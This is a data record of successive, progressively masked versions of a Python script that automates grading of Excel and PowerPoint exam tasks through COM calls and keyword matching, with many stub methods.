self.judgeFunction(OperStr)\n print('结束函数操作')\n if OperStr.find('所有框线') != -1:\n print('进入所有框线操作')\n self.judgeBoxLine(OperStr)\n print('结束所有框线操作')\n if OperStr.find('排序') != -1:\n print('进入排序操作')\n self.judgeSort(OperStr)\n print('结束排序操作')\n if OperStr.find('图表') != -1:\n print('进入图表操作')\n self.judgeChart(OperStr)\n print('结束图表操作')\n pass\n\n\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n\n def InsertOper(self, style):\n pass\n\n def BackgroundOper(self):\n pass\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBackground(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeHyperlink(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('动画') != -1:\n print('进入动画操作')\n self.judgeAnimation(OperStr)\n print('结束动画操作')\n if OperStr.find('切换') != -1:\n print('进入切换操作')\n self.judgeSwitch(OperStr)\n print('结束切换操作')\n if OperStr.find('超级链接') != -1:\n print('进入超级链接操作')\n self.judgeHyperlink(OperStr)\n print('结束超级链接操作')\n if OperStr.find('背景') != -1:\n print('进入背景操作')\n self.judgeBackground(OperStr)\n print('结束背景操作')\n if OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass ExcelOperation:\n <function token>\n <function token>\n\n def close(self):\n self.xlBook.Close(SaveChanges=0)\n del self.xlApp\n\n def getCell(self, sheet, row, col):\n \"\"\"Get value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Cells(row, col).Value\n\n def setCell(self, sheet, row, col, value):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Value = value\n <function token>\n <function token>\n\n def deleteRow(self, sheet, row):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).Delete()\n sht.Columns(row).Delete()\n\n def getRange(self, sheet, row1, col1, row2, col2):\n \"\"\"return a 2d array (i.e. tuple of tuples)\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Range(sht.Cells(row1, col1), sht.Cells(row2, col2)).Value\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def judgeFunction(self, OperStr):\n print('正在完成要求', OperStr)\n <function token>\n <function token>\n <function token>\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('行高') != -1:\n print('进入行高操作')\n self.judgeRowHeight(OperStr)\n print('结束行高操作')\n if OperStr.find('列宽') != -1:\n print('进入列宽操作')\n self.judgeColWidth(OperStr)\n print('结束列宽操作')\n if OperStr.find('公式') != -1:\n print('进入公式操作')\n self.judgeFormula(OperStr)\n print('结束公式操作')\n if OperStr.find('函数') != -1:\n print('进入函数操作')\n self.judgeFunction(OperStr)\n print('结束函数操作')\n if OperStr.find('所有框线') != -1:\n print('进入所有框线操作')\n self.judgeBoxLine(OperStr)\n print('结束所有框线操作')\n if OperStr.find('排序') != -1:\n print('进入排序操作')\n self.judgeSort(OperStr)\n print('结束排序操作')\n if OperStr.find('图表') != -1:\n print('进入图表操作')\n self.judgeChart(OperStr)\n print('结束图表操作')\n pass\n\n\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n\n def InsertOper(self, style):\n pass\n\n def BackgroundOper(self):\n pass\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBackground(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeHyperlink(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('动画') != -1:\n print('进入动画操作')\n self.judgeAnimation(OperStr)\n print('结束动画操作')\n if OperStr.find('切换') != -1:\n print('进入切换操作')\n self.judgeSwitch(OperStr)\n print('结束切换操作')\n if OperStr.find('超级链接') != -1:\n print('进入超级链接操作')\n self.judgeHyperlink(OperStr)\n print('结束超级链接操作')\n if OperStr.find('背景') != -1:\n print('进入背景操作')\n self.judgeBackground(OperStr)\n print('结束背景操作')\n if OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass ExcelOperation:\n <function token>\n <function token>\n\n def close(self):\n self.xlBook.Close(SaveChanges=0)\n del self.xlApp\n\n def getCell(self, sheet, row, col):\n \"\"\"Get value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Cells(row, col).Value\n\n def setCell(self, sheet, row, col, value):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Value = value\n <function token>\n <function token>\n\n def deleteRow(self, sheet, row):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).Delete()\n sht.Columns(row).Delete()\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def judgeFunction(self, OperStr):\n print('正在完成要求', OperStr)\n <function token>\n <function token>\n <function token>\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('行高') != -1:\n print('进入行高操作')\n self.judgeRowHeight(OperStr)\n print('结束行高操作')\n if OperStr.find('列宽') != -1:\n print('进入列宽操作')\n self.judgeColWidth(OperStr)\n print('结束列宽操作')\n if OperStr.find('公式') != -1:\n print('进入公式操作')\n self.judgeFormula(OperStr)\n print('结束公式操作')\n if OperStr.find('函数') != -1:\n print('进入函数操作')\n self.judgeFunction(OperStr)\n print('结束函数操作')\n if OperStr.find('所有框线') != -1:\n print('进入所有框线操作')\n self.judgeBoxLine(OperStr)\n print('结束所有框线操作')\n if OperStr.find('排序') != -1:\n print('进入排序操作')\n self.judgeSort(OperStr)\n print('结束排序操作')\n if OperStr.find('图表') != -1:\n print('进入图表操作')\n self.judgeChart(OperStr)\n print('结束图表操作')\n pass\n\n\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n\n def InsertOper(self, style):\n pass\n\n def BackgroundOper(self):\n pass\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBackground(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeHyperlink(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('动画') != -1:\n print('进入动画操作')\n self.judgeAnimation(OperStr)\n print('结束动画操作')\n if OperStr.find('切换') != -1:\n print('进入切换操作')\n self.judgeSwitch(OperStr)\n print('结束切换操作')\n if OperStr.find('超级链接') != -1:\n print('进入超级链接操作')\n self.judgeHyperlink(OperStr)\n print('结束超级链接操作')\n if OperStr.find('背景') != -1:\n print('进入背景操作')\n self.judgeBackground(OperStr)\n print('结束背景操作')\n if OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass ExcelOperation:\n <function token>\n <function token>\n\n def close(self):\n self.xlBook.Close(SaveChanges=0)\n del self.xlApp\n\n def getCell(self, sheet, row, col):\n \"\"\"Get value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Cells(row, col).Value\n\n def setCell(self, sheet, row, col, value):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Value = value\n <function token>\n <function token>\n\n def deleteRow(self, sheet, row):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).Delete()\n sht.Columns(row).Delete()\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def judgeFunction(self, OperStr):\n print('正在完成要求', OperStr)\n <function token>\n <function token>\n <function token>\n <function token>\n\n\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n\n def InsertOper(self, style):\n pass\n\n def BackgroundOper(self):\n pass\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBackground(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeHyperlink(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('动画') != -1:\n print('进入动画操作')\n self.judgeAnimation(OperStr)\n print('结束动画操作')\n if OperStr.find('切换') != -1:\n print('进入切换操作')\n self.judgeSwitch(OperStr)\n print('结束切换操作')\n if OperStr.find('超级链接') != -1:\n print('进入超级链接操作')\n self.judgeHyperlink(OperStr)\n print('结束超级链接操作')\n if OperStr.find('背景') != -1:\n print('进入背景操作')\n self.judgeBackground(OperStr)\n print('结束背景操作')\n if OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass ExcelOperation:\n <function token>\n <function token>\n\n def close(self):\n self.xlBook.Close(SaveChanges=0)\n del self.xlApp\n <function token>\n\n def setCell(self, sheet, row, col, value):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Value = value\n <function token>\n <function token>\n\n def deleteRow(self, sheet, row):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).Delete()\n sht.Columns(row).Delete()\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def judgeFunction(self, OperStr):\n print('正在完成要求', OperStr)\n <function token>\n <function token>\n <function token>\n <function token>\n\n\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n\n def InsertOper(self, style):\n pass\n\n def BackgroundOper(self):\n pass\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBackground(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeHyperlink(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('动画') != -1:\n print('进入动画操作')\n self.judgeAnimation(OperStr)\n print('结束动画操作')\n if OperStr.find('切换') != -1:\n print('进入切换操作')\n self.judgeSwitch(OperStr)\n print('结束切换操作')\n if OperStr.find('超级链接') != -1:\n print('进入超级链接操作')\n self.judgeHyperlink(OperStr)\n print('结束超级链接操作')\n if OperStr.find('背景') != -1:\n print('进入背景操作')\n self.judgeBackground(OperStr)\n print('结束背景操作')\n if OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass ExcelOperation:\n <function token>\n <function token>\n\n def close(self):\n self.xlBook.Close(SaveChanges=0)\n del self.xlApp\n <function token>\n\n def setCell(self, sheet, row, col, value):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Value = value\n <function token>\n <function token>\n\n def deleteRow(self, sheet, row):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).Delete()\n sht.Columns(row).Delete()\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n\n def InsertOper(self, style):\n pass\n\n def BackgroundOper(self):\n pass\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBackground(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeHyperlink(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('动画') != -1:\n print('进入动画操作')\n self.judgeAnimation(OperStr)\n print('结束动画操作')\n if OperStr.find('切换') != -1:\n print('进入切换操作')\n self.judgeSwitch(OperStr)\n print('结束切换操作')\n if OperStr.find('超级链接') != -1:\n print('进入超级链接操作')\n self.judgeHyperlink(OperStr)\n print('结束超级链接操作')\n if OperStr.find('背景') != -1:\n print('进入背景操作')\n self.judgeBackground(OperStr)\n print('结束背景操作')\n if OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass ExcelOperation:\n <function token>\n <function token>\n\n def close(self):\n self.xlBook.Close(SaveChanges=0)\n del self.xlApp\n <function token>\n <function token>\n <function token>\n <function token>\n\n def deleteRow(self, sheet, row):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).Delete()\n sht.Columns(row).Delete()\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n\n def InsertOper(self, style):\n pass\n\n def BackgroundOper(self):\n pass\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBackground(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeHyperlink(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('动画') != -1:\n print('进入动画操作')\n self.judgeAnimation(OperStr)\n print('结束动画操作')\n if OperStr.find('切换') != -1:\n print('进入切换操作')\n self.judgeSwitch(OperStr)\n print('结束切换操作')\n if OperStr.find('超级链接') != -1:\n print('进入超级链接操作')\n self.judgeHyperlink(OperStr)\n print('结束超级链接操作')\n if OperStr.find('背景') != -1:\n print('进入背景操作')\n self.judgeBackground(OperStr)\n print('结束背景操作')\n if OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass ExcelOperation:\n <function token>\n <function token>\n\n def close(self):\n self.xlBook.Close(SaveChanges=0)\n del self.xlApp\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n\n def InsertOper(self, style):\n pass\n\n def BackgroundOper(self):\n pass\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBackground(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeHyperlink(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('动画') != -1:\n print('进入动画操作')\n self.judgeAnimation(OperStr)\n print('结束动画操作')\n if OperStr.find('切换') != -1:\n print('进入切换操作')\n self.judgeSwitch(OperStr)\n print('结束切换操作')\n if OperStr.find('超级链接') != -1:\n print('进入超级链接操作')\n self.judgeHyperlink(OperStr)\n print('结束超级链接操作')\n if OperStr.find('背景') != -1:\n print('进入背景操作')\n self.judgeBackground(OperStr)\n print('结束背景操作')\n if OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring 